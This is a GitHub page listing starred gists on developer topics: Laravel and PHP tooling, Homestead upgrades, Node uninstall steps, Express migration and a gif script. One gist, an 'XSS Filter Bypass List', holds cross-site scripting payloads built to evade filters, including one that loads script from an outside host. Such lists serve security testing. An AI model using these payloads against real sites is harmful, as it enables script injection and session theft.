Skip to content

Instantly share code, notes, and snippets.

View weerd's full-sized avatar

Diego Lorenzo weerd

View GitHub Profile
@gaearon
gaearon / Classes.js
Created May 27, 2020 17:38
Beneath Classes: Prototypes
class Spiderman {
lookOut() {
alert('My Spider-Sense is tingling.');
}
}
let miles = new Spiderman();
miles.lookOut();
@laravel-shift
laravel-shift / .php-cs-fixer.php
Last active April 9, 2024 14:08
PHP CS Fixer - Laravel Coding Style Ruleset
<?php
use PhpCsFixer\Config;
use PhpCsFixer\Finder;
$rules = [
'array_indentation' => true,
'array_syntax' => ['syntax' => 'short'],
'binary_operator_spaces' => [
'default' => 'single_space',
@DFurnes
DFurnes / update-homestead.md
Last active January 17, 2019 16:24
Updating your Homestead, Winter 2018 edition!

Hey folks! Let's do some spring winter cleaning! If you do work using Homestead, now might be a good time to update and re-build your box: we want to make sure everyone's environments are up to date and as close to production as possible (newer Ubuntu, MariaDB, and ext-newrelic extension).

This should take between 10-60 minutes (depending on whether you need to download a new box). ⏱️

Upgrade Guide

To make sure you're using the latest and greatest, download the latest VirtualBox (5.2.22) and Vagrant (2.2.2).

Update your Homestead.yaml to use MariaDB for SQL databases:

@mendelB
mendelB / changes.txt
Created September 5, 2018 15:46
Cool changes of note in the Contentful SDK
1.2.0
* Implemented ResourceArray::getItems to allow access to the values of a ResourceArray as an actual PHP array.
2.0.0
* Moved file classes to a sub-namespace Contentful\File [BREAKING].
* Contentful\File to Contentful\File\File
* Contentful\ImageFile to Contentful\File\ImageFile
* Contentful\ImageOptions to Contentful\File\ImageOptions
2.1.0
@lkpttn
lkpttn / dancify.sh
Created August 31, 2018 16:12
SlackHeads Dancify
#!/bin/bash
FILES=/Path/To/Images/*.png
for filename in $FILES; do
magick $filename -flop image2.png
magick convert -delay 50 -dispose Background $filename image2.png "${filename%.*}"dance.gif
rm image2.png
done
@weerd
weerd / gist:7fb63f207b8c00d97310fcf8b639933b
Last active February 27, 2020 16:43 — forked from dotcomputercraft/gist:b7283bd52f4b5389e748
How do I completely uninstall Node.js, and reinstall from beginning (Mac OS X)
the best way (I've found) to completely uninstall node + npm is to do the following:
go to /usr/local/lib and delete any node and node_modules
go to /usr/local/include and delete any node and node_modules directory
if you installed with brew install node, then run brew uninstall node in your terminal
check your Home directory for any local or lib or include folders, and delete any node or node_modules from there
go to /usr/local/bin and delete any node executable
You may need to do the additional instructions as well:
sudo rm /usr/local/bin/npm
@rvrsh3ll
rvrsh3ll / xxsfilterbypass.lst
Last active June 8, 2024 08:04
XSS Filter Bypass List
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
<script/src=data:,alert()>
<marquee/onstart=alert()>
<video/poster/onerror=alert()>
<isindex/autofocus/onfocus=alert()>
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
@1Marc
1Marc / express-2-to-4-x.txt
Created November 25, 2015 18:55
Express 2 to Express 4.x
Express 2 was used in the course and the current version is 4.x.
you can't just use 'urlencoded' anymore, you have to:
npm install body-parser
and
var bodyParser = require('body-parser');
app.use(bodyParser.urlencoded({ extended: true }));
@mshmsh5000
mshmsh5000 / dosomething_northstar_get_northstar_user.php
Last active October 8, 2015 15:54
function dosomething_northstar_get_northstar_user($id)
<?php
/**
* Get user data from Northstar.
*
* @param int $id
* Northstar user ID
*
* @return object
*/
@ziadoz
ziadoz / composer_path.json
Last active January 4, 2023 19:36
Composer Using Local Repositories and Branches
{
"repositories": [
{
"type": "path",
"url": "../relative/project/path"
}
],
"require": {
"${project}": "dev-${branch}"
}